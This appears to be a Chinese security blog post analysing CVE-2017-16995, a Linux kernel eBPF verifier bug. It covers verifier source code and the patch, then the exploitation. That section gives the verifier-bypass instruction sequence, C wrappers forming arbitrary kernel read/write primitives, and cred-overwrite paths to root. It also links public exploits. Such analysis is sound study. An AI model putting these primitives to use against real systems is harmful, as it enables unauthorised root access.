Let_go
人生如棋,我愿为卒。行动虽慢,可谁曾见我后退一步。

CVE-2017-16995

2018/07/16 Linux_Kernel

前言

漏洞信息

漏洞原理

基础知识

BPF简介

BPF(Berkeley Packet Filter)该机制最开始用来对数据包做过滤用的,一般用在对套接字做过滤的实现上,通过把写好的规则与指定的套接字做绑定(setsockopt)从而达到控制某些类型的数据是否通过目标socket的功能。本质上BPF其实是一种内核代码注入技术。在内核中实现了一eBPF虚拟机,通过在用户空间生成BPF目标码然后通过BPF接口把目标代码注入到内核中去,内核通过JIT(Jus-In-Time)将BPF目标编码转换为本地指令,当需要进行过滤的时候内核就会通过钩子函数来首先运行这些BPF代码。该机制的好处就在于能够在不修改内核代码的前提下修改内核处理某些数据的策略。
既然提供了代码注入功能,那么该机制的安全问题就是重点,BPF提供了很多规则来限制用户态传入的BPF代码。确保被注入的代码都是属于合规代码。下面列出几个我们比较关注的限制规则。

  • 一个BPF的代码不能超过BPF_MAXINSNS(4K),运行总步数不能超过32K(4.9改为了96K)
  • 禁止代码存在循环操作,代码可能的总分支也被限制不能超过1K
  • 限制不能访问全局变量,只能访问局部变量,如果需要访问全局变量则只能访问BPF map对象,该map对象是同时被用户态,BPF代码,内核态共同访问到。

对BPF代码的安全规则检查主要在BPF代码加载时,通过BPF verifier来实现。大致分为两步:

  • 1.通过DAG(Directed Acyclic Graph有向无环图)的DFS(Depth-first Search)深度优先算法来遍历BPF程序的代码路径,确保无环路发生。
  • 2.逐条检查BPF指令对register和对stack的影响,确保不存在各种越界读写等违规操作。

BPF系统调用

我们来看下如何使用bpf机制,在内核中对外提供了一个系统调用bpf,通过传入不同参数分派不同函数去完成需要的功能。下面列一下本次相关的几个参数。

1
2
#include <linux/bpf.h>
    int bpf(int cmd, union bpf_attr *attr, unsigned int size);

几个相关的CMD选项:

1
2
3
4
BPF_MAP_CREATE:(map_create(&attr); /* BPF_MAP_CREATE创建映射表 */)
BPF_MAP_LOOKUP_ELEM:(map_lookup_elem(&attr); /* BPF_MAP_LOOKUP_ELEM命令用于查找条目 */)
BPF_MAP_UPDATE_ELEM:(map_update_elem(&attr); /* BPF_MAP_UPDATE_ELEM 命令用于向映射表中存储一个条目 value域是要存储的数据的指针 */)
BPF_PROG_LOAD:(bpf_prog_load(&attr); /* 加载到内核,检验安全性,JIT编译,分配句柄fd */)

注意:BPF虚拟指令存在11个虚拟寄存器,其中包括R0~R10,该寄存器与我们硬件CPU的物理寄存器所对应

1
2
3
4
5
6
7
8
9
10
11
R0 -- RAX(默认函数返回值寄存器)
R1 -- RDI(R1 ~ R5 一般用来表示内核预设函数的参数)
R2 -- RSI
R3 -- RDX
R4 -- RCX
R5 -- R8
R6 -- RBX(R6 ~ R9 在BPF代码中可以作存储用,其值不受内核预设函数影响)
R7 -- R13
R8 -- R14
R9 -- R15
R10 -- RBP(栈帧指针)

最后再简单了解一下ebpf的指令格式:
在eBPF中,每条指令就是一个struct bpf_insn结构体,大小为8字节(1个字节8位共64位)。

1
2
3
4
5
[0-7]位代表操作码,
[8-11]位代表目标寄存器,
[12-15]位代表源寄存器,
[16-31]为代表操作的偏移值,
[32-63]位代表操作的立即数。

1
2
3
4
5
6
7
8
/* \linux-4.4.1\include\uapi\linux\bpf.h */
struct bpf_insn{
__u8 code; /* opcode */
__u8 dst_reg:4; /* dest register */
__u8 src_reg:4; /* source register */
__s16 off; /* signed offset */
__s32 imm; /* signed immediate constant */
}

这里举个栗子:比如说需要一个类似于令mov eax,0xffffffff的指令,则BPF指令如下:

1
2
3
4
5
6
7
8
9
#define BPF_MOV32_IMM(DST,IMM) \
((struct bpf_insn){ \
.code = BPF_ALU|BPF_MOV|BPF_K, \ /* BPF_X代表寄存器,BPF_K代表立即数 */
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
opcode:\xb4\x09\x00\x00\xff\xff\xff\xff
eBPF虚拟指令系统隶属于RISC(精简指令集),也就是每条指令的大小一致。

漏洞功能

在linux内核源码kernel/bpf/verifier.c中的check_alu_op函数未对64位和32位的有符号数分开处理,导致本地用户可通过精心构造不正确的数据导致一些意料之外的影响。
由于存在该漏洞导致对以下指令进行解析时模拟执行与实际执行的语义不一致,促使实际执行的指令并没有被检查到。

1
2
3
4
BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF), /* r2 = (u32)0xFFFFFFFF */ \
BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2), /* if (r2 == -1) { */ \
BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */ \
BPF_EXIT_INSN() /* } */ \

漏洞原理

首先我们来看检查时的模拟执行是怎么解释这段代码的,当我们调用系统调用__NR_bpf并且cmd为BPF_PROG_LOAD时,就会将attr结构体中的insns成员指向的bpf指令传入到内核,内核会调用do_check函数对传入的指令做安全检查。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
调用链: SYSCALL_DEFINE3(bpf, int, cmd, union bpf_attr __user *, uattr, unsigned int, size) ---> bpf_prog_load(&attr) ---> bpf_check(&prog,attr) ---> do_check(env)
static int do_check(struct verifier_env *env){
struct verifier_state *state = &env->cur_state;
struct bpf_insn *insns = env->prog->insnsi;
struct reg_state *regs = state->regs;
int insn_cnt = env->prog->len;
int insn_idx, prev_insn_idx = 0;
int insn_processed = 0;
bool do_print_state = false;
init_reg_state(regs);
insn_idx = 0;
for (;;) { /* 一个大循环,解析用户态传入的每条指令 */
struct bpf_insn *insn; /* 指令结构体指针 */
u8 class;
int err;
if (insn_idx >= insn_cnt) { /* 如果循环计数insn_idx大于或等于bpf程序的长度 就退出 */
verbose("invalid insn idx %d insn_cnt %d\n",insn_idx, insn_cnt);
return -EFAULT;
}
insn = &insns[insn_idx]; /* 遍历每条bpf指令 */
class = BPF_CLASS(insn->code); /* 获取该条指令的class */
if (++insn_processed > 32768) { /* 判断解析指令条数是否大于 32768 */
verbose("BPF program is too large. Proccessed %d insn\n",insn_processed);
return -E2BIG;
}
err = is_state_visited(env, insn_idx);
if (err < 0)
return err;
if (err == 1) {
/* found equivalent state, can prune the search */
if (log_level) {
if (do_print_state)
verbose("\nfrom %d to %d: safe\n",prev_insn_idx, insn_idx);
else
verbose("%d: safe\n", insn_idx);
}
goto process_bpf_exit;
}
if (log_level && do_print_state) {
verbose("\nfrom %d to %d:", prev_insn_idx, insn_idx);
print_verifier_state(env);
do_print_state = false;
}
if (log_level) {
verbose("%d: ", insn_idx);
print_bpf_insn(insn);
}
/* 开始解析opcode的class部分 判断指令是否等于 BPF_ALU || BPF_ALU64*/
if (class == BPF_ALU || class == BPF_ALU64) {
err = check_alu_op(env, insn);
if (err)
return err;
} else if (class == BPF_LDX) {
[...]
} else if (class == BPF_STX) {
[...]
} else if (class == BPF_ST) {
[...]
} else if (class == BPF_JMP) {
u8 opcode = BPF_OP(insn->code);
if (opcode == BPF_CALL) {
if (BPF_SRC(insn->code) != BPF_K ||
insn->off != 0 ||
insn->src_reg != BPF_REG_0 ||
insn->dst_reg != BPF_REG_0) {
verbose("BPF_CALL uses reserved fields\n");
return -EINVAL;
}
err = check_call(env, insn->imm);
if (err)
return err;
} else if (opcode == BPF_JA) {
if (BPF_SRC(insn->code) != BPF_K ||
insn->imm != 0 ||
insn->src_reg != BPF_REG_0 ||
insn->dst_reg != BPF_REG_0) {
verbose("BPF_JA uses reserved fields\n");
return -EINVAL;
}
insn_idx += insn->off + 1;
continue;
} else if (opcode == BPF_EXIT) {
if (BPF_SRC(insn->code) != BPF_K ||
insn->imm != 0 ||
insn->src_reg != BPF_REG_0 ||
insn->dst_reg != BPF_REG_0) {
verbose("BPF_EXIT uses reserved fields\n");
return -EINVAL;
}
err = check_reg_arg(regs, BPF_REG_0, SRC_OP);
if (err)
return err;
if (is_pointer_value(env, BPF_REG_0)) {
[...]
}
process_bpf_exit:
insn_idx = pop_stack(env, &prev_insn_idx); /* 弹出保存在临时栈中的分支 */
if (insn_idx < 0) {
break;
} else {
do_print_state = true;
continue;
}
} else {
err = check_cond_jmp_op(env, insn, &insn_idx);
if (err)
return err;
}
} else if (class == BPF_LD) {
[...]
} else {
verbose("unknown insn class %d\n", class);
return -EINVAL;
}
insn_idx++; /* 循环计数 */
}

我们主要关注2个class,分别是BPF_ALU与BPF_JMP
先看BPF_ALU,实际逻辑在check_alu_op函数中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
if (class == BPF_ALU || class == BPF_ALU64) {
err = check_alu_op(env, insn);
if (err)
return err;
/* check validity of 32-bit and 64-bit arithmetic operations */
static int check_alu_op(struct verifier_env *env, struct bpf_insn *insn){
struct reg_state *regs = env->cur_state.regs;
u8 opcode = BPF_OP(insn->code);
int err;
if (opcode == BPF_END || opcode == BPF_NEG) {
[...]
} else if (opcode == BPF_MOV) { /* opcode == BPF_MOV */
if (BPF_SRC(insn->code) == BPF_X) { /* 判断源寄存器是否存在 跳过*/
[...]
} else { /* 因为我们MOV使用的立即数,所以进入 */
if (insn->src_reg != BPF_REG_0 || insn->off != 0) {
verbose("BPF_MOV uses reserved fields\n");
return -EINVAL;
}
}
/* check dest operand */
err = check_reg_arg(regs, insn->dst_reg, DST_OP);
if (err)
return err;
if (BPF_SRC(insn->code) == BPF_X) { /* 判断源寄存器是否存在 跳过*/
[...]
} else { /* 立即数,进入 */
/* case: R = imm
* remember the value we stored into this reg
*/
regs[insn->dst_reg].type = CONST_IMM; /* CONST_IMM = 8 */
regs[insn->dst_reg].imm = insn->imm; /* insn->imm:0xffffffff 对regs[insn->dst_reg].imm进行赋值,注意这里的regs[insn->dst_reg].imm与insn->imm都是有符号32位*/
}
} else if (opcode > BPF_END) {
[...]
} else { /* all other ALU ops: and, sub, xor, add, ... */
[...]
}
return 0;
}

通过BPF_OP获取指令的opcode,这条指令的opcode是MOV,并且使用的是BPF_K,也就是立即数,所以最终把CONST_IMM赋值给regs[insn->dst_reg].type,把insn->imm(0xffffffff)赋值给regs[insn->dst_reg].imm,
注意:这里需要留意的一点是insn->imm和regs[insn->dst_reg].imm都属于有符号32位。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct bpf_insn{
__u8 code; /* opcode */
__u8 dst_reg:4; /* dest register */
__u8 src_reg:4; /* source register */
__s16 off; /* signed offset */
__s32 imm; /* signed immediate constant */
}
struct reg_state {
enum bpf_reg_type type;
union {
int imm; /* regs[BPF_REG_2].imm */
struct bpf_map *map_ptr;
};
};

接着再来看对BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2)的解析,主要在check_cond_jmp_op函数中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
} else {
err = check_cond_jmp_op(env, insn, &insn_idx);
if (err)
return err;
}
static int check_cond_jmp_op(struct verifier_env *env, /* 该函数主要处理条件分支 */
struct bpf_insn *insn, int *insn_idx){
struct reg_state *regs = env->cur_state.regs;
struct verifier_state *other_branch;
u8 opcode = BPF_OP(insn->code);
int err;
if (opcode > BPF_EXIT) {
verbose("invalid BPF_JMP opcode %x\n", opcode);
return -EINVAL;
}
if (BPF_SRC(insn->code) == BPF_X) {
if (insn->imm != 0) {
verbose("BPF_JMP uses reserved fields\n");
return -EINVAL;
}
/* check src1 operand */
err = check_reg_arg(regs, insn->src_reg, SRC_OP);
if (err)
return err;
if (is_pointer_value(env, insn->src_reg)) {
verbose("R%d pointer comparison prohibited\n",
insn->src_reg);
return -EACCES;
}
} else {
if (insn->src_reg != BPF_REG_0) {
verbose("BPF_JMP uses reserved fields\n");
return -EINVAL;
}
}
/* check src2 operand */
err = check_reg_arg(regs, insn->dst_reg, SRC_OP);
if (err)
return err;
/* detect if R == 0 where R was initialized to zero earlier */
if (BPF_SRC(insn->code) == BPF_K &&
(opcode == BPF_JEQ || opcode == BPF_JNE) &&
regs[insn->dst_reg].type == CONST_IMM && /* 如果目标类型属于立即数 并且 目标的立即数与需要判断的立即数一致 那么直接进入恒等模式 只追随满足条件的分支*/
regs[insn->dst_reg].imm == insn->imm) {
if (opcode == BPF_JEQ) {
/* if (imm == imm) goto pc+off;
* only follow the goto, ignore fall-through
*/
*insn_idx += insn->off;
return 0;
} else { /* */
/* if (imm != imm) goto pc+off;
* only follow fall-through branch, since
* that's where the program will go
*/
return 0;
}
}
other_branch = push_stack(env, *insn_idx + insn->off + 1, *insn_idx); /* 若当前比较不属于立即数比较,则会把第二条分支临时保存起来 后续若遇到exit指令 就pop出来第二条分支进行模拟执行 */
if (!other_branch)
return -EFAULT;
/* detect if R == 0 where R is returned value from bpf_map_lookup_elem() */
if (BPF_SRC(insn->code) == BPF_K &&
insn->imm == 0 && (opcode == BPF_JEQ ||
opcode == BPF_JNE) &&
regs[insn->dst_reg].type == PTR_TO_MAP_VALUE_OR_NULL) {
if (opcode == BPF_JEQ) {
/* next fallthrough insn can access memory via
* this register
*/
regs[insn->dst_reg].type = PTR_TO_MAP_VALUE;
/* branch targer cannot access it, since reg == 0 */
other_branch->regs[insn->dst_reg].type = CONST_IMM;
other_branch->regs[insn->dst_reg].imm = 0;
} else {
other_branch->regs[insn->dst_reg].type = PTR_TO_MAP_VALUE;
regs[insn->dst_reg].type = CONST_IMM;
regs[insn->dst_reg].imm = 0;
}
} else if (is_pointer_value(env, insn->dst_reg)) {
verbose("R%d pointer comparison prohibited\n", insn->dst_reg);
return -EACCES;
} else if (BPF_SRC(insn->code) == BPF_K &&
(opcode == BPF_JEQ || opcode == BPF_JNE)) {
if (opcode == BPF_JEQ) {
/* detect if (R == imm) goto
* and in the target state recognize that R = imm
*/
other_branch->regs[insn->dst_reg].type = CONST_IMM;
other_branch->regs[insn->dst_reg].imm = insn->imm;
} else {
/* detect if (R != imm) goto
* and in the fall-through state recognize that R = imm
*/
regs[insn->dst_reg].type = CONST_IMM;
regs[insn->dst_reg].imm = insn->imm;
}
}
if (log_level)
print_verifier_state(env);
return 0;
}

check_cond_jmp_op函数主要用来处理分支语句(BPF_JEQ,BPF_JNE),但是因为这里是立即数之间做比较,如果两个立即数相等就会进入恒等情况,直接退出check_cond_jmp_op函数,因为内核认为这是恒等情况永远都会成立,所以也就没有执行保存分支2到临时栈中的代码(push_stack函数),如果我们在条件成立的情况下接着执行BPF_JMP|BPF_EXIT指令,那么内核就会直接跳出大循环,结束安全检查。
看看do_check中BPF_EXIT指令的处理代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
else if (opcode == BPF_EXIT) {
if (BPF_SRC(insn->code) != BPF_K ||
insn->imm != 0 ||
insn->src_reg != BPF_REG_0 ||
insn->dst_reg != BPF_REG_0) {
verbose("BPF_EXIT uses reserved fields\n");
return -EINVAL;
}
/* eBPF calling convetion is such that R0 is used
* to return the value from eBPF program.
* Make sure that it's readable at this time
* of bpf_exit, which means that program wrote
* something into it earlier
*/
err = check_reg_arg(regs, BPF_REG_0, SRC_OP);
if (err)
return err;
if (is_pointer_value(env, BPF_REG_0)) {
verbose("R0 leaks addr as return value\n");
return -EACCES;
}
process_bpf_exit:
insn_idx = pop_stack(env, &prev_insn_idx); /* 弹出保存在临时栈中的分支 */
if (insn_idx < 0) { /* 如果pop_stack返回值小于0 */
break; /* 跳出大循环 */
} else {
do_print_state = true; /* 否则设置状态为true 检查分支2*/
continue; /* 并结束本次循环 */
}
static int pop_stack(struct verifier_env *env, int *prev_insn_idx){ /* 弹出临时栈中的分支 */
struct verifier_stack_elem *elem;
int insn_idx;
if (env->head == NULL) /* 若env->head为空,那么返回-1 */
return -1;
memcpy(&env->cur_state, &env->head->st, sizeof(env->cur_state));
insn_idx = env->head->insn_idx;
if (prev_insn_idx)
*prev_insn_idx = env->head->prev_insn_idx;
elem = env->head->next;
kfree(env->head);
env->head = elem;
env->stack_size--;
return insn_idx;
}

因为前面JNE判断语句结果为恒等,所以并没有对分支2进行入栈备份,导致在执行BPF_EXIT操作后,内核打算执行pop_stack函数来获取分支2时env->head为空,所以返回-1,而又因为pop_stack的返回值为-1,内核以为代码检查完毕了,所以直接执行break退出了for大循环,结束了对用户指令的检查操作。
所以内核在模拟执行时只检查了4条代码就退出了检查。

1
2
3
4
5
#define BPF_DISABLE_VERIFIER() \
BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF), /* r2 = (u32)0xFFFFFFFF */ \
BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2), /* if (r2 == -1) { */ \
BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */ \
BPF_EXIT_INSN() /* } */ \

然后再来看实际执行的情况:

1
实际执行调用链:__vfs_write -> new_sync_write -> sock_write_iter -> sock_sendmsg -> sock_sendmsg_nosec -> unix_dgram_sendmsg -> sk_filter -> bpf_prog_run_save_cb -> __bpf_prog_run

函数__bpf_prog_run用做实际解析并执行指令,该函数中有一个大的跳转表(jumptable),通过把每条指令的insn->code成员作为跳转表的索引值,跳转到需要执行的分支处对不同的指令做处理

1
2
select_insn:
goto *jumptable[insn->code];

我们主要关注的是以下两条分支,对应着用户层传入的前两条指令

1
2
[BPF_ALU | BPF_MOV | BPF_K] = &&ALU_MOV_K,
[BPF_JMP | BPF_JNE | BPF_K] = &&JMP_JNE_K,

1
2
3
ALU_MOV_K:
DST = (u32) IMM; /*#define DST regs[insn->dst_reg] ; #define IMM insn->imm */
CONT;

实际解析BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF)指令时会把有符号32位的IMM(insn->imm)强转为无符号32型,并赋值给无符号64位的DST(regs[insn->dst_reg]),所以此时DST==0x00000000FFFFFFFF

1
2
3
4
5
6
JMP_JNE_K: /* 判断当前指令立即数是否与目标寄存器一致 */
if (DST != IMM) { /* 因为DST在上条指令被赋值为了u32类型的0x00000000FFFFFFFF,而本次IMM在比较时会被扩展为无符号64位的0xFFFFFFFFFFFFFFFF,所以比较肯定不一致 */
insn += insn->off; /* 当前指令 + 当前指令的偏移参数 = 下条需要执行指令的位置 */
CONT_JMP; /* #define CONT_JMP ({ insn++; goto select_insn; }) */
}
CONT;

在解析BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2)指令时,因为DST属于无符号64位类型,比较时会把有符号32位的IMM(insn->imm)隐式转为无符号64位(0xFFFFFFFFFFFFFFFF),而DST最开始被赋值为0x00000000FFFFFFFF所以比较的结果肯定是不相等
分析到这里我们可以看出模拟执行时JNE比较结果为恒等,而实际执行是JNE比较结果却为不等,因为实际执行的结果不等,所以会跳过两条指令继续执行,而分支2的指令在模拟执行时是没有被检查的,所以我们可以把分支2构造为我们用来提权的代码,这样就绕过了内核的安全检查,执行任何我们想执行的代码了。

补丁用意

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
index 625e358..c086010 100644
--- a/kernel/bpf/verifier.c
+++ b/kernel/bpf/verifier.c
@@ -2408,7 +2408,13 @@ static int check_alu_op(struct bpf_verifier_env *env, struct bpf_insn *insn)
* remember the value we stored into this reg
*/
regs[insn->dst_reg].type = SCALAR_VALUE;
- __mark_reg_known(regs + insn->dst_reg, insn->imm);
+ if (BPF_CLASS(insn->code) == BPF_ALU64) {
+ __mark_reg_known(regs + insn->dst_reg,
+ insn->imm);
+ } else {
+ __mark_reg_known(regs + insn->dst_reg,
+ (u32)insn->imm);
+ }
}
} else if (opcode > BPF_END) {

添加了对bpf指令目标位数的检查,避免64位与32位的混淆比较。

漏洞利用

基础知识

使用bpf的流程:
调用syscall(NR_bpf,BPF_MAP_CREATE,&attr,size(attr))申请一个map,在attr结构体中指定map的类型,大小,最大兼容等级。
调用syscall(
NR_bpf,BPF_PROG_LOAD,&attr,sizeof(attr)),将用户态的BPF指令加载到内核态,attr包含指令数量,指令首地址,日志等级。内核态在实际执行这些指令之前会先利用虚拟执行的方式做安全校验,如果安全校验通过后,指令被成功加载到内核,然后实际执行。
使用setsockopt(sockets。SO_SOCKET,SO_ATTACK_BPF,&progfd,sizeof(progfd))把BPF句柄绑定到指定的socket上,Progfd为第二步的返回值。
最后通过操作第三步的socket来触发BPF实际执行。
write(sockets[0], buffer, sizeof(buffer))

利用思路

构造读写原语

现在我们已经能够给内核注入代码了,但我们需要怎么去提权呢?也就是注入的代码该怎么写呢?
这里就涉及到了我们前面说过的bpf的数据共享,通过BPF_MAP_CREATE选项在内核中创建一个映射表,因为该映射表是内核层与应用层共享的所以我们可以通过在用户层修改该映射表中的数据从而控制内核中bpf被执行的代码。
大概思路如下:
首先通过BPF_MAP_CREATE选项创建一个map映射表并设置该map可存放的最大元素个数为3,分别表示操作指令(op),读写地址(address),读写值(value)。这个映射表就组成了一条控制指令。
接着利用BPF_PROG_LOAD选项加载我们精心构造的bpf规则指令到内核。
最后使用setsockopt函数的SO_ATTACK_BPF选项绑定精心构造的bpf规则指令到套接字。
现在我们只要对套接字进行写操作就能触发我们注入到内核的bpf指令。
bpf指令伪代码如下:

1
2
3
4
5
6
7
8
9
10
11
op = get_map(key=0)
address = get_map(key=1)
value = get_map(key=2)
if (op == 0)
get_map(key=2) = fp
else if (op == 1)
get_map(key=2) = skbuff
else if (op == 2)
get_map(key=2) = read(address)
else
write(address,value)

bpf系统调用的BPF_MAP_LOOKUP_ELEM选项用来获取映射表指定key的值,我们封装为任意读,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int bpf_lookup_elem(int fd, void *key, void *value){
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
.value = ptr_to_u64(value),
};
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}
static unsigned long get_value(int key) {
unsigned long value;
if (bpf_lookup_elem(mapfd, &key, &value)) { /* 根据传入的key获取value */
fail("bpf_lookup_elem failed '%s'\n", strerror(errno));
}
return value;
}

BPF_MAP_UPDATE_ELEM选项用来更新指定key的值,我们用来实现任意写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int bpf_update_elem(int fd, void *key, void *value, unsigned long long flags){
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
.value = ptr_to_u64(value),
.flags = flags,
};
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr)); /* 根据传入的key设置value的值 */
}
static void update_elem(int key, unsigned long value) {
if (bpf_update_elem(mapfd, &key, &value, 0)) {
fail("bpf_update_elem failed '%s'\n", strerror(errno));
}
}

write(sockets[0], buffer, sizeof(buffer))用作触发bpf规则的实际执行。

1
2
3
4
5
6
7
8
/* 封装的任意读写 cc控制 */
static unsigned long sendcmd(unsigned long op, unsigned long addr, unsigned long value) {
update_elem(0, op); /* 修改map元素0中的value为指定的op指令*/
update_elem(1, addr); /* 修改map元素1中的value为需要读/写的内核地址*/
update_elem(2, value); /* 修改map元素2中的value为需要写入的值*/
writemsg(); /* 触发bpf程序实际执行 */
return get_value(2); /* 获取map元素2中的value值 */
}

因为这个漏洞可以重复触发,所以只需要把上面的函数做一下封装,就可以组成任意读写的原语,通过控制op参数的值促使内核做不同的读写操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned long get_skbuff() { /* 封装 直接获取绑定socket的skbuff地址 */
return sendcmd(1, 0, 0); /* op = 1:获取skbuff的值,addr=0,value=0,返回值为skbuff的地址 */
}
unsigned long get_fp() { /* 封装 直接获取栈帧 */
return sendcmd(0, 0, 0); /* op = 0:获取内核栈帧,addr=0,value=0,返回值为内核栈帧 */
}
unsigned long read64(unsigned long addr) { /* 封装内核读 */
return sendcmd(2, addr, 0); /* op = 2:执行读操作,addr:需要读的内核地址,返回值为读取的值 */
}
void write64(unsigned long addr, unsigned long val) { /* 封装内核写 */
(void)sendcmd(3, addr, val); /* op = 3:执行写操作,addr:需要写的内核地址,value:需要写的值 */
}

在我们拥有了任意读写原语之后我们就可以来提权了,常规的提权方式这里有两种:

泄漏fp

第一种首先通过我们封装的get_fp来获取当前进程的栈地址,然后通过经典的 栈地址 & ~(0x4000-1)计算出当前进程的thread_info结构体的起始地址,接着通过任意读获取task_struct结构体,有了task_struct结构体之后我们就可以通过偏移量去修改cred结构体实现提权了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
struct thread_info {
struct pcb_struct pcb;
struct task_struct *task;
unsigned int flags;
unsigned int ieee_state;
struct exec_domain *exec_domain;
mm_segment_t addr_limit;
unsigned cpu;
[….]
struct restart_block restart_block;
};
/-------------------------------------------------------------/
struct task_struct {
volatile long state;
void *stack;
atomic_t usage;
unsigned int flags;
unsigned int ptrace;
[...]
struct list_head cpu_timers[3];
const struct cred *real_cred;
const struct cred *cred;
char comm[TASK_COMM_LEN];
[…]
}
/-------------------------------------------------------------/
struct cred {
atomic_t usage;
kuid_t uid;
kgid_t gid;
kuid_t suid;
kgid_t sgid;
kuid_t euid;
kgid_t egid;
[...]
struct rcu_head rcu;
};

泄漏skbuff

第二种是通过获取当前套接字的sk_buff遍历当前进程的cred结构体,sk_buff变量中有一个sk元素(struct sock *sk),而sk元素又包含当前进程的cred结构体,所有通过sk_buff变量也能获取到当前进程的cred结构体实现内核提权。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
sk_buff的获取可以通过对fp做加减获得
sk_buff->sk->sk_peer_cred << cred结构体
/-------------------------------------------------------------/
struct sk_buff {
struct sk_buff *next;
struct sk_buff *prev;
union {
ktime_t tstamp;
struct skb_mstamp skb_mstamp;
};
struct sock *sk;
struct net_device *dev;
[...]
}
/-------------------------------------------------------------/
struct sock {
[...]
struct pid *sk_peer_pid;
const struct cred *sk_peer_cred;
long sk_rcvtimeo;
long sk_sndtimeo;
[...]
};
/-------------------------------------------------------------/
struct cred {
atomic_t usage;
kuid_t uid;
kgid_t gid;
kuid_t suid;
kgid_t sgid;
kuid_t euid;
kgid_t egid;
[...]
struct rcu_head rcu;
};

总结

  1. 感觉这个漏洞还挺有趣,第一次接触这类漏洞,通过传入精心构造的数据控制程序的执行流程,让内核直接执行我们传入的代码,利用起来也特别稳定还非常好理解而且由于都是正常操作,所以直接绕过了内核对于漏洞利用的缓解机制,完全不像哪些容易造成系统崩溃的破坏内存的漏洞。
  2. 跟着exp分析了下该漏洞,并做一下记录,不断努力,多找一些exploit,跟着作者的思路一步一步的分析,思考作者当时的想法,不断积累漏洞利用经验。

触发该漏洞需要两个条件:

1
2
Kernel编译选项CONFIG_BPF_SYSCALL打开,启用了bpf syscall;
/proc/sys/unprivileged_bpf_disabled设置为0,允许非特权用户调用bpf_syscall;

参考

1
2
3
4
5
6
https://www.csdn.net/gather_2d/MtjaQg2sMzIwMy1ibG9n.html
https://blog.csdn.net/ljy1988123/article/details/50444693
最初的exp
https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c
https://github.com/dangokyo/CVE_2017_16995
https://github.com/rlarabee/exploits/tree/master/cve-2017-16995

Author: Let_go

Link: http://github.com/2018/07/16/CVE-2017-16995/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
CVE-2018-8120
NextPost >
linux内核调试环境搭建
CATALOG
  1. 1. 前言
    1. 1.1. 漏洞信息
  2. 2. 漏洞原理
    1. 2.1. 基础知识
      1. 2.1.1. BPF简介
      2. 2.1.2. BPF系统调用
    2. 2.2. 漏洞功能
    3. 2.3. 漏洞原理
    4. 2.4. 补丁用意
  3. 3. 漏洞利用
    1. 3.1. 基础知识
    2. 3.2. 利用思路
      1. 3.2.1. 构造读写原语
      2. 3.2.2. 泄漏fp
      3. 3.2.3. 泄漏skbuff
  4. 4. 总结
  5. 5. 参考